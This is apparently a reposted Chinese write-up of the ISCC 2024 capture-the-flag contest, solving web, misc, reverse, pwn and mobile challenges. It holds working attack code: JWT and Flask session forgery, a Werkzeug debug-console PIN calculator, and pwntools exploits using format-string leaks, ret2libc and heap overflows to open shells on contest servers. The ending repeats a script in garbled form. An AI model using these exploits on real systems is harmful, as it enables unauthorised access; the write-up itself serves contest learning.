ISCC线上赛2024
欢迎关注微信公众号交流赛题

讯享网
练武题
web
还没想好名字的塔防游戏
f12查看源码,world.js,查看提示

Bears Brew Storms Opal Oceans Glow Elves Whisper Wonders
讯享网
网站首页看到
讯享网Mystic Defense War: The Secret of Guardian Towers and Magical Monsters

去掉小写o与a首字母组合刚好18位
Flask中的pin值计算

解码得到/getusername

访问

再次输入提示

访问路由,app


一秒内计算数学,写脚本
import requests url1='http://101.200.138.180:10006/crawler?answer=' url2='http://101.200.138.180:10006/get_expression' s = requests.Session() res=s.get(url2) math=res.text.split('"') math1=math[3].replace("\\u00d7",'*').replace('\\u00f7','/') result1 = eval(math1) result1=str(result1) result2=s.get(url1+result1) print(result2.text)

访问路由,解码
{“alg”:“HS256”,“typ”:“JWT”}{“name”:“donate”,“quantity”:1}

看源码部分,获取功德代码是这段,
讯享网 .then(data => { document.querySelector('h1').textContent = '当前功德:' + data.gongde; document.querySelectorAll('h1')[1].textContent = data.message; <p style="display: none;">ISCC_muyu_2024</p>
将donate->gongde,quantity拉大,盲猜hash256是ISCC_muyu_2024构造jwt

敲木鱼抓包更换jwt,给出地址:02:42:ac:18:00:02提示/machine_id
点击vip拿到新的jwt

{ "exp": , "iat": , "jti": "slBj9vxEIRLuzzXLPqu0AA", "nbf": , "role": "member", "username": "ISCCmember" }
需要role改为supervip,脚本构造
讯享网from json import loads, dumps from jwcrypto.common import base64url_encode, base64url_decode def topic(topic): [header, payload, signature] = topic.split('.') parsed_payload = loads(base64url_decode(payload)) print(parsed_payload) parsed_payload["role"] = "vip" print(dumps(parsed_payload, separators=(',', ':'))) fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':')))) print(fake_payload) return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} ' print(topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MTQ5NzQ1MTMsImlhdCI6MTcxNDk3MDkxMywianRpIjoiN3hjY05VNWZicF9iMUh6a3BRMWhldyIsIm5iZiI6MTcxNDk3MDkxMywicm9sZSI6Im1lbWJlciIsInVzZXJuYW1lIjoiSVNDQ21lbWJlciJ9.nvxihIURp-b8zrgZRzdXmM0U4ERy_8TKYRkxGYq7sUemVulia9Ssh6ojLtJyW-ZVjK4G6-HYhfgvyP1Fcq90uGu51YDDgRNJi4h0ajuraTHCBWn0h91WAnC_YAtCnitVDBOY8j1eB_i1WdIbS2o-jiM0prPYMROzPqv8FVTUCss3QsG4MN9H3LqfvHdvlejIJLAxpeyIdbDudwKZ2cLCfxvfo4mI7sffqLUyj86FdlsANR7aaMue5OZIg4bpizagawAFCpUKKjwL3uqghUShiVhPUz2oE4XNoFvSH9Dl0S7qhd3Phukc9tRuIFhLRGn-_FLN8jkiJTcVXZXEKSUuEw'))
bp传参,显示welcome_to_iscc_club,应该是supervip
的key
使用flask_session_cookie_manager3.py伪造jwt
#!/usr/bin/env python3 """ Flask Session Cookie Decoder/Encoder """ __author__ = 'Wilson Sumanang, Alexandre ZANNI' # standard imports import sys import zlib from itsdangerous import base64_decode import ast # Abstract Base Classes (PEP 3119) if sys.version_info[0] < 3: # < 3.0 raise Exception('Must be using at least Python 3') elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 from abc import ABCMeta, abstractmethod else: # > 3.4 from abc import ABC, abstractmethod # Lib for argument parsing import argparse # external Imports from flask.sessions import SecureCookieSessionInterface class MockApp(object): def __init__(self, secret_key): self.secret_key = secret_key if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4 class FSCM(metaclass=ABCMeta): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e else: # > 3.4 class FSCM(ABC): def encode(secret_key, session_cookie_structure): """ Encode a Flask session cookie """ try: app = MockApp(secret_key) session_cookie_structure = dict(ast.literal_eval(session_cookie_structure)) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.dumps(session_cookie_structure) except Exception as e: return "[Encoding error] {}".format(e) raise e def decode(session_cookie_value, secret_key=None): """ Decode a Flask cookie """ try: if(secret_key==None): compressed = False payload = session_cookie_value if payload.startswith('.'): compressed = True payload = payload[1:] data = payload.split(".")[0] data = base64_decode(data) if compressed: data = zlib.decompress(data) return data else: app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_cookie_value) except Exception as e: return "[Decoding error] {}".format(e) raise e if __name__ == "__main__": # Args are only relevant for __main__ usage Description for help parser = argparse.ArgumentParser( description='Flask Session Cookie Decoder/Encoder', epilog="Author : Wilson Sumanang, Alexandre ZANNI") prepare sub commands subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand') create the parser for the encode command parser_encode = subparsers.add_parser('encode', help='encode') parser_encode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=True) parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>', help='Session cookie structure', required=True) create the parser for the decode command parser_decode = subparsers.add_parser('decode', help='decode') parser_decode.add_argument('-s', '--secret-key', metavar='<string>', help='Secret key', required=False) parser_decode.add_argument('-c', '--cookie-value', metavar='<string>', help='Session cookie value', required=True) get args args = parser.parse_args() find the option chosen if(args.subcommand == 'encode'): if(args.secret_key is not None and args.cookie_structure is not None): print(FSCM.encode(args.secret_key, args.cookie_structure)) elif(args.subcommand == 'decode'): if(args.secret_key is not None and args.cookie_value is not None): print(FSCM.decode(args.cookie_value,args.secret_key)) elif(args.cookie_value is not None): print(FSCM.decode(args.cookie_value))

eyJyb2xlIjoic3VwZXJ2aXAifQ.Zjhihg.4pLyp5XEkqZlgXxoktSOYqyKWik
bp修改svipcookie得到acff8a1c-6825-4b9b-b8e1-8983ce1a8b94,应该就是machine-id

pin脚本
讯享网import hashlib from itertools import chain probably_public_bits = [ 'pincalculate',# username 'flask.app',# modname 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.11/site-packages/flask/app.py' # getattr(mod, '__file__', None), ] private_bits = [ '99902',# str(uuid.getnode()), /sys/class/net/ens33/address 'acff8a1c-6825-4b9b-b8e1-8983ce1a8b94'# get_machine_id(), /etc/machine-id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{
h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits num = None if num is None: h.update(b"pinsalt") num = f"{
int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num print(rv)
运行使用payload:http://101.200.138.180:10006/console?pin=947-885-653
代码审计
题目
#! /usr/bin/env python # encoding=utf-8 from flask import Flask from flask import request import hashlib import urllib.parse import os import json app = Flask(__name__) #随机16位 secret_key = os.urandom(16) class Task: def __init__(self, action, param, sign, ip): self.action = action self.param = param self.sign = sign self.sandbox = md5(ip) if not os.path.exists(self.sandbox): os.mkdir(self.sandbox) def Exec(self): result = {
} result['code'] = 500 if self.checkSign(): if "scan" in self.action: resp = scan(self.param) if resp == "Connection Timeout": result['data'] = resp else: print(resp) self.append_to_file(resp) # 追加内容到已存在的文件 result['code'] = 200 if "read" in self.action: result['code'] = 200 result['data'] = self.read_from_file() # 从已存在的文件中读取 if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result def checkSign(self): if get_sign(self.action, self.param) == self.sign: return True else: return False #调用了get_sign, @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.parse.unquote(request.args.get("param", "")) action = "read" print(request.args.get("param", "")) return get_sign(action, param) @app.route('/De1ta', methods=['GET', 'POST']) def challenge(): print(request.cookies.get("action")) print(request.args.get("param", "")) print(request.cookies.get("sign")) action = urllib.parse.unquote(request.cookies.get("action")) param = urllib.parse.unquote(request.args.get("param", "")) sign = urllib.parse.unquote(request.cookies.get("sign")) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec()) def scan(param): try: with open(param, 'r') as file: content = file.read() return content except FileNotFoundError: return "The file does not exist" def md5(content): return hashlib.md5(content.encode()).hexdigest() def get_sign(action, param): return hashlib.md5(secret_key + param.encode('latin1') + action.encode('latin1')).hexdigest() def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False if __name__ == '__main__': app.debug = False app.run()
访问geneSign得到签名hash

由随机的密钥+提交的参数+一个动作 (key+param+action) 这里动作默认为scan。
访问De1ta,由cookies和提交的参数,会去执行Task类的Exec方法。 Exec方法里会根据提交的参数去生成签名Hash,去checkSign。 当签名验证成功后,去根据动作去追加文件,去读取文件。
根据上面和题目提示已经知道了要读取flag.txt。 所以必须过checkSign方法。 所以路由De1ta生成的签名和路由geneSign的签名必须一样。 2次提交中,key是随机生成的,是一样的,不用变。 param是人工手动提交的。 路由geneSign的action是默认的scan。 所以第一次路由geneSignparam提交: flag.txtread 此时生成的hash为: hasH(随机的Key+flag.txtread+“scan”) 请求包
讯享网GET /geneSign?param=flag.txtread HTTP/1.1
Host: 101.200.138.180:12315
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag
e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
响应包
HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.12.3
Date: Fri, 10 May 2024 05:16:59 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 32
Connection: close
19528176342cf0870f5327eca3e88776

第二次路由De1ta提交flag.txt cookies里面附上hash,和action readscan 第二次生成的Hash hasH(随机的Key+flag.txt+“readscan”)
请求包
讯享网GET /De1ta?param=flag.txt HTTP/1.1 Host: 101.200.138.180:12315 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,imag e/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Cookie: sign=19528176342cf0870f5327eca3e88776; action=readscan Accept-Language: zh-CN,zh;q=0.9 Connection: close
响应包
HTTP/1.1 200 OK
Server: Werkzeug/3.0.2 Python/3.12.3
Date: Fri, 10 May 2024 05:17:09 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 47
Connection: close
{"code": 200, "data": "ISCC{dhc7LLugXaz*ezt1}"}

原神启动
直接cve-2020-1938打

源码
CVE-2020-1938/CVE-2020-1938.py at master · xindongzhuaizhuai/CVE-2020-1938 (github.com)
misc
RSA_KU
题目
讯享网n = 0000 e = 65537 c = 00000000001 #(p-2)*(q-1) = 0 #(p-1)*(q-2) = 000
直接写脚本
import gmpy2 from Crypto.Util.number import * n = 0000 e = 65537 c = 00000000001 n1 = 0 # (p-2)*(q-1) n2 = 000 # (p-1)*(q-2) ppq = (n - n1 + n - n2 + 4) // 3 # p+q '''n-(p-2)*(q-1)=pq-(pq-p-2q+2)=p+2q-2 ① n-(p-1)*(q-2)=pq-(pq-2p-q+2)=2p+q-2 ② ①+②:n-(p-2)*(q-1)+n-(p-1)*(q-2)=3*(p+q)-4 p+q=(n-(p-2)*(q-1)+n-(p-1)*(q-2)+4)/3''' phi = n - ppq + 1 # phi=(p-1)*(q-1)=pq-(p+q)+1 d = gmpy2.invert(e, phi) flag = long_to_bytes((pow(c, d, n))) print(flag)
工业互联网模拟仿真数据分析
题目一:ip长度固定的只有1.2-1.4

192.168.1.2,192.168.1.4
题目二:
tshark -r 工业互联网模拟仿真数据.pcap -T fields -e data.data -Y “data.len==12”

明显确定字段就是2024
题目三:
192.168.1.3-192.168.1.5时间大致相同
文末第五组时间间隔是固定的0.6
题目四:
192.168.1.3,192.168.1.2,192.168.1.6

题目五:
五个字符校验算法,假设CRC16,CRC32
倒数位必为1 尝试CRC16CRC32并尝试0-10为起始位
为CRC16,4,1时成功提交
adcca5c2a82064a17a645d35b6b054cd

Number_is_the_key

修改后缀zip
解压后在worksheets运行脚本
讯享网import xmltodict import json def xml_to_json(xml_string): xml_dict = xmltodict.parse(xml_string) json_data = json.dumps(xml_dict, indent=4) return json_data f = open("sheet1.xml", mode="r").read() json_content = xml_to_json(f) json_content = json.loads(json_content) data = json_content["worksheet"]["sheetData"]["row"] t = [] for num in range(len(data)): for d in data[num]["c"]: t.append(d["@r"]) from openpyxl import Workbook from openpyxl.styles import PatternFill wb = Workbook() ws = wb.active for d in t: cell_to_fill = ws[d] fill = PatternFill(start_color='00FF00', end_color='FFFFFF', fill_type='solid') cell_to_fill.fill = fill wb.save("1.xlsx")
得到1.xlsx,调整行高与行列扫码

FunZip
下载附件,使用puzz工具解码

精装四合一
四个图片中每个图片的文件尾部都带着一串数据,我们看到这些数据都异或0xff都会是一个zip文件的一 部分,那么写个脚本将这四个文件的文件尾提取出来再进行异或0xff,然后再拼接,会得到一个zip
def trim_and_xor_with_ff(input_filename, output_filename, target_hex): # 将16进制字符串转换为字节 target_bytes = bytes.fromhex(target_hex.replace(' ', '')) # 初始化一个标志位,表示是否已经找到目标字节序列 found_target = False with open(input_filename, 'rb') as infile, open(output_filename, 'wb') as outfile: # 读取文件的字节 while True: chunk = infile.read(4096) # 一次读取4096字节 if not chunk: break # 如果文件读取完毕,则退出循环 # 检查目标字节序列是否在块中 index = chunk.find(target_bytes) if index != -1: # 如果找到,则只处理目标字节序列之后的部分 if not found_target: # 跳过包含目标字节序列的块中目标之前的部分 chunk = chunk[index + len(target_bytes):] found_target = True # 对剩余部分进行异或操作 xor_chunk = bytes([b ^ 0xFF for b in chunk]) outfile.write(xor_chunk) elif found_target: # 如果已经找到目标字节序列,则直接对整个块进行异或操作 xor_chunk = bytes([b ^ 0xFF for b in chunk]) outfile.write(xor_chunk) # 如果尚未找到目标字节序列,则不处理该块(因为我们只关心目标之后的数据) # 使用函数 input_filename = 'left_hand_invert.png' # 输入文件名 output_filename = '2' # 输出文件名 target_hex = 'AE' # 要查找的16进制字符串 trim_and_xor_with_ff(input_filename, output_filename, target_hex) input_filename = 'left_foot_invert.png' # 输入文件名 output_filename = '1' # 输出文件名 trim_and_xor_with_ff(input_filename, output_filename, target_hex) input_filename = 'right_hand_invert.png' # 输入文件名 output_filename = '4' # 输出文件名 trim_and_xor_with_ff(input_filename, output_filename, target_hex) input_filename = 'right_foot_invert.png' # 输入文件名 output_filename = '3' # 输出文件名 trim_and_xor_with_ff(input_filename, output_filename, target_hex) #文件拼接 f1=open('1','rb') f2=open('2','rb') f3=open('3','rb') f4=open('4','rb') f5=open('1.zip','wb') for i in range(3176): f5.write(f1.read(1)) f5.write(f2.read(1)) f5.write(f3.read(1)) f5.write(f4.read(1)) f5.write(f1.read(1))
zip爆破密码是65537,这是个e值
ctrl+a全选,字体,取消隐藏

00
检查文件头word也是zip

看到trueflag

010打开,是16进制

rsa脚本
讯享网import gmpy2 from Crypto.Util.number import * from binascii import a2b_hex,b2a_hex import binascii e = 65537 c = 0x1cb2d409f66fa525fe6a300cca1e81fc4edf1f2aa2a70283a48d0840e #1.将n分解为p和q p = 000381 q = n = p*q phi = (p-1)*(q-1) #2.求d d = gmpy2.invert(e,phi) #3.m=pow(c,d,n) m = gmpy2.powmod(c,d,n) print(long_to_bytes(m))
reverse
迷失之门
无壳

脚本
import re def find_sequence_and_concatenate(file_path): pattern = b'\x0F\xB6\x00\x3C(.)' with open(file_path, 'rb') as file: data = file.read() matches = re.findall(pattern, data) result = ''.join([match.decode('latin1') for match in matches]) return result file_path = 'ez.exe' result = find_sequence_and_concatenate(file_path) print(result) enc = bytes(result, encoding='UTF-8') key = [i for i in b"DABBZXQESVFRWNGTHYJUMKIOLPC"] # print([i + 51 for i in key]) index = [] for i in enc: i_char = chr(i) if i_char in "ABCDEFGHIJKLMNOPQRSTUVWXYZ": index.append("ABCDEFGHIJKLMNOPQRSTUVWXYZ".index(i_char)) elif i_char in "abcdefghijklmnopqrstuvwxyz": index.append("abcdefghijklmnopqrstuvwxyz".index(i_char) + 26) elif i_char in "0+/-=!#&*()?;:*^%": index.append("0+/-=!#&*()?;:*^%".index(i_char) + 52) else: print("wrong") # print(index) for i in range(len(index)): print(chr((key[i] + index[i])), end='')
DLLCode
首先拿到赛题,我们先分析一下,这里有一个.dll文件一看就是需要运行时可能需要的。 32bit,无壳

直接看main()函数:

C++写的需要规整一下格式,分析后,拿到思路: 首先输入一个字符串(flag)—>进行编码—>进行了一个加密操作—>比较输出结果。 接下来看一下加密的部分: sub_4014D0(v30, v33);
这个就是重新进行索引。 到后面可以发现这里重新索引后就是输入的后半部分。 前部分进行了异或,异或的值为“ISCC” 拿到比较的值:v8
讯享网s = [0,16,56,21,10,61,113,43,11,0,20,3,67,89,83,89,70,84,64,103,116,125,117,98] s1 = s[:12] v7 = s[12:] v4 = [2, 0, 3, 1, 6, 4, 7, 5, 10, 8, 11, 9] s2 = [0] * 12 for i in range(len(s2)): s2[i] = v7[v4[i]] key = "ISCC" for i in range(len(s1)): s1[i] ^= ord(key[i % len(key)]) result = "" for i in range(len(s1)): result += chr(s1[i]) + chr(s2[i]) print(result)

pwn
chaos

跑一下,看出是个堆

gets存在溢出风险
先用1分配地址,5释放内存块,ptr变悬挂指针,2对buf[0]释放,5构造数据满足strncmp
运行
1 64 asd 5 64 asf 2 0 5 64 FlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlagFlag ls拿到flag
easyshell
看main函数

check

讯享网from pwn import * context(log_level='DEBUG') p = remote('182.92.237.102', 10011) p.recvuntil(b"shell") payload = b'flagis %15$p.%17$p' p.sendline(payload) s = p.recvuntil(b'flag') # 获取canary和piebase canary,main152 = s[3:].split(b' ')[0].split(b'.') piebase = int(main152,16)-0xfe-0x1422 canary = int(canary,16) success("canary: "+hex(canary)+"\npiebase:"+hex(piebase)) # 计算backdoor函数地址,+5为了跳过push backdoor_addr = piebase+0x1289+5 payload = b'a'*(0x40-8)+p64(canary)+b'\0'*8+p64(backdoor_addr) p.sendline(payload) p.recvuntil(b'"help"') p.sendline(b'exit') p.interactive()
Flag
checksec分析

from pwn import * from LibcSearcher import * context(log_level='debug',arch='i386',os='linux') #io = process('./attachment-12') io = remote('182.92.237.102',10012) io.recvuntil("what's the content?") payload = '%p-'*18 + 'aaaa%p' #gdb.attach(io) io.sendline(payload) io.recvuntil('aaaa') canary = int(io.recv(10),16) success('canary---->'+hex(canary)) io.recvuntil('Input:\n') puts_plt = 0x0 puts_got = 0x804C01C pop_ebx = 0x0 ret = 0x0e #gdb.attach(io) back = 0x0B main = 0x80494C2 payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 +p32(puts_plt) + p32(back) + p32(puts_got) io.send(payload) puts = u32(io.recv(4)) success('puts---->'+hex(puts)) pause() system = puts - 0x06d1e0 + 0x041360 binsh = puts - 0x06d1e0 + 0x18c363 io.recvuntil('Input:\n') payload = b'a'*(0x94-0xc) + p32(canary) + p32(0)*3 + p32(system) + p32(0) + p32(binsh) #gdb.attach(io) io.send(payload) io.interactive()
shopping

查看保护

利用线程,堆溢出,没有free函数,有system函数,bss段上有函数指针。申请堆块把mmap的 内存分配完,使线程arena重新分配到高地址,之后利用堆溢出覆盖arena,伪造一个 fastbin 到 bss 段附近。之后申请fastbin并改bss上的write为system
讯享网from pwn import * path = "./attachment-11" sh = remote('182.92.237.102',10019) elf = ELF(path) system_plt = elf.plt['system'] sh.sendlineafter('Enter the password:', "I'm ready for shopping") def add(size, n, content=''): sh.sendlineafter(b'Action:', '1') sh.sendlineafter(b'Item ID:', str(size)) sh.sendlineafter(b'Quantity:', str(n)) if content == '': sh.sendlineafter(b'Add gift message? (0/1):', '0') else: sh.sendlineafter(b'Add gift message? (0/1):', '1') sh.sendafter(b'Message: ', content) for i in range(12): add(0x4000, 1000) add(0x4000, 262, '0' * 0x3FF0) # 溢出,修改thread_arena,将bss上的fake_chunk接到fastbin 里 payload = b'1' * 0x50 + p32(0) + p32(3) + 10 * p64(0x60201d) sleep(0.2) sh.send(payload) sleep(0.2) payload = b'/bin/sh'.ljust(0xB, b'\x00') + p64(system_plt) payload = payload.ljust(0x60, b'b') add(0x60, 0, payload) sh.interactive()
mobile
Puzzle_Game
打开逆向软件分析

脚本
import java.nio.charset.StandardCharsets; import java.util.Base64; import java.util.Random; public class Test {
private static String combineStrings(String arg1, String arg2) {
return arg1 + arg2; } private static byte[] customEncrypt(byte[] arg4, byte[] arg5) {
byte[] v0 = new byte[arg4.length]; int v1; for(v1 = 0; v1 < arg4.length; ++v1) {
v0[v1] = (byte)(arg4[v1] ^ arg5[v1 % arg5.length]); } return v0; } public static String encrypt(String arg3, String arg4) {
byte[] v0 = generateSalt(16); byte[] v3 = customEncrypt(combineStrings(arg3, arg4).getBytes(StandardCharsets.UTF_8), v0); byte[] v4 = new byte[v0.length + v3.length]; System.arraycopy(v0, 0, v4, 0, v0.length); System.arraycopy(v3, 0, v4, v0.length, v3.length); return Base64.getEncoder().encodeToString(v4); } public static String encrypt2(String arg3) {
byte[] v3 = arg3.getBytes(StandardCharsets.UTF_8); int v0 = 0; int v1; for(v1 = 0; v1 < v3.length; ++v1) {
v3[v1] = (byte)((v3[v1] + 0x7F) % 0x100); } byte[] v1_1 = new byte[v3.length]; while(v0 < v3.length) {
v1_1[v0] = (byte)(v0 % 2 == 0 ? v3[v0] ^ 0x7B : v3[v0] ^ 0xEA); ++v0; } return Base64.getEncoder().encodeToString(v1_1); } private static byte[] generateSalt(int i) {
byte[] bArr = new byte[i]; new Random(2983L).nextBytes(bArr); return bArr; } public static void main(String[] args) {
System.out.println("ISCC{"+encrypt2(encrypt("0", "gwC9nOCNUhsHqZm")).substring(0, 32)+"}"); } }

擂台题
misc
重“隐”
使用puzz查看图片,压缩包

foremost分离压缩包

解压需要密码,先看音频文件

解码

->九宫格->urhdbdfge
输入00001303.zip密码

解码得到前半部分flag

Deepsound打开音频需要密码

使用deepsound2john.py脚本获取密码hash值,并使用kali的john爆破工具
讯享网#! python3 import logging import os import sys import textwrap def decode_data_low(buf): return buf[::2] def decode_data_normal(buf): out = bytearray() for i in range(0, len(buf), 4): out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15)) return out def decode_data_high(buf): out = bytearray() for i in range(0, len(buf), 8): out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \ | (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3)) return out def is_magic(buf): # This is a more efficient way of testing for the `DSCF` magic header without # decoding the whole buffer return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \ and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \ and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \ and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15) def is_wave(buf): return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE' def process_deepsound_file(f): bname = os.path.basename(f.name) logger = logging.getLogger(bname) # Check if it's a .wav file buf = f.read(12) if not is_wave(buf): global convert_warn logger.error('file not in .wav format') convert_warn = True return f.seek(0, os.SEEK_SET) # Scan for the marker... hdrsz = 104 hdr = None while True: off = f.tell() buf = f.read(hdrsz) if len(buf) < hdrsz: break if is_magic(buf): hdr = decode_data_normal(buf) logger.info('found DeepSound header at offset %i', off) break f.seek(-hdrsz + 1, os.SEEK_CUR) if hdr is None: logger.warn('does not appear to be a DeepSound file') return # Check some header fields mode = hdr[4] encrypted = hdr[5] modes = {
2: 'low', 4: 'normal', 8: 'high'} if mode in modes: logger.info('data is encoded in %s-quality mode', modes[mode]) else: logger.error('unexpected data encoding mode %i', modes[mode]) return if encrypted == 0: logger.warn('file is not encrypted') return elif encrypted != 1: logger.error('unexpected encryption flag %i', encrypted) return sha1 = hdr[6:6+20] print('%s:$dynamic_1529$%s' % (bname, sha1.hex())) if __name__ == '__main__': import argparse parser = argparse.ArgumentParser() parser.add_argument('--verbose', '-v', action='store_true') parser.add_argument('files', nargs='+', metavar='file', type=argparse.FileType('rb', bufsize=4096)) args = parser.parse_args() if args.verbose: logging.basicConfig(level=logging.INFO) else: logging.basicConfig(level=logging.WARN) convert_warn = False for f in args.files: process_deepsound_file(f) if convert_warn: print(textwrap.dedent.rstrip(), file=sys.stderr)

得到密码teenager,打开得到message.txt

打开使用文字盲水印解密

3HodAcpU52ryNLs4f7xBMqmjA
base解密求出后半段flag

nfo(‘data is encoded in %s-quality mode’, modes[mode])
else:
logger.error(‘unexpected data encoding mode %i’, modes[mode])
return
if encrypted == 0:
logger.warn(‘file is not encrypted’)
return
elif encrypted != 1:
logger.error(‘unexpected encryption flag %i’, encrypted)
return
sha1 = hdr[6:6+20]
print(‘%s: d y n a m i c 1 529 dynamic_1529 dynamic1529%s’ % (bname, sha1.hex()))
if name == ‘main’:
import argparse
parser = argparse.ArgumentParser()
parser.add_argument(‘–verbose’, ‘-v’, action=‘store_true’)
parser.add_argument(‘files’, nargs=‘+’, metavar=‘file’,
type=argparse.FileType(‘rb’, bufsize=4096))
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)
convert_warn = False
for f in args.files:
process_deepsound_file(f)
if convert_warn:
print(textwrap.dedent.rstrip(), file=sys.stderr)
[外链图片转存中...(img-GAtAr5wL-51)] 得到密码teenager,打开得到message.txt [外链图片转存中...(img-vQSNfC8c-51)] 打开使用文字盲水印解密 [外链图片转存中...(img-yZWFJTE8-51)] 3HodAcpU52ryNLs4f7xBMqmjA base解密求出后半段flag [外链图片转存中...(img-ol9T0eGw-51)]
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容,请联系我们,一经查实,本站将立刻删除。
如需转载请保留出处:https://51itzy.com/kjqy/116675.html